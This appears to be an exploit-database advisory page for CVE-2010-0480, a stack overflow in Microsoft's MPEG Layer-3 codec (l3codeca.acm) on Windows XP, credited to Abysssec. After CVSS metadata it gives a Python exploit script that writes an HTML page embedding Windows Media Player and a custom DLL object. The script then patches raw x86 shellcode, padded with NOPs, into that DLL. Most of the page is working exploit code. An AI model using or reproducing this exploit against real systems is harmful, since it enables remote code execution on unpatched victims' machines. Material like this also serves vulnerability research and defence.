Microsoft MPEG Layer-3 Remote Command Execution

2010-09-08 / 2010-09-09
Credit: Abysssec
Risk: High
Local: No
Remote: Yes
CVE: CVE-2010-0480
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < Day 5 (Binary Analysis) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/ http://www.exploit-db.com/sploits/moaub-5-exploit.zip ''' ''' Title : Microsoft MPEG Layer-3 Remote Command Execution Exploit Version : l3codeca.acm (XP SP2 / XP SP3) Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : Ciritical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-0480 ''' import sys import struct def main(): try: strHTML = ''' <html> <head> </head> <body> <object classID="exploit.dll#exploit.Shellcode"></object> <OBJECT ID="MediaPlayer" CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab# Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..." TYPE="application/x-oleobject" width="280" height="46"> <param name="fileName" value="test.avi"> <param name="animationatStart" value="true"> <param name="transparentatStart" value="true"> <param name="autoStart" value="true"> <param name="showControls" value="true"> <param name="Volume" value="-300"> <embed type="application/x-mplayer2" pluginspage="http://www.microsoft.com/Windows/MediaPlayer/" src="test.avi" name="MediaPlayer" width=280 height=46 autostart=1 showcontrols=1 volume=-300> </embed> </OBJECT> </body> </html> ''' fHTML = open('index.html', 'w') fHTML.write(strHTML) fHTML.close() fdR = open('exploit.dll', 'rb+') strTotal = fdR.read() str1 = strTotal[:1380] str2 = strTotal[2115:] shellcode = '\xEB\x6B\x5A\x31\xC9\x6A\x10\x52\x42\x52\x51\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xFF\xD7\x50\x68\xA8\xA2\x4D\xBC\xFF\xD6\xE8\xDA\xFF\xFF\xFF\x00\x54\x68\x65\x20\x65\x78\x70\x6C\x6F\x69\x74\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\xE8\xB3\xFF\xFF\xFF\x55\x53\x45\x52\x33\x32\x00\xE8\xD3\xFF\xFF\xFF\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00' if len(shellcode) > 735: print "[*] Error : Shellcode length is long" return if len(shellcode) <= 735: dif = 735 - len(shellcode) while dif > 0 : shellcode += '\x90' dif = dif - 1 fdW= open('exploit.dll', 'wb+') fdW.write(str1) fdW.write(shellcode) fdW.write(str2) fdW.close() fdR.close() print '[-] Html file generated' except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main()

References:

http://www.us-cert.gov/cas/techalerts/TA10-103A.html
http://www.microsoft.com/technet/security/Bulletin/MS10-026.mspx
http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:7441


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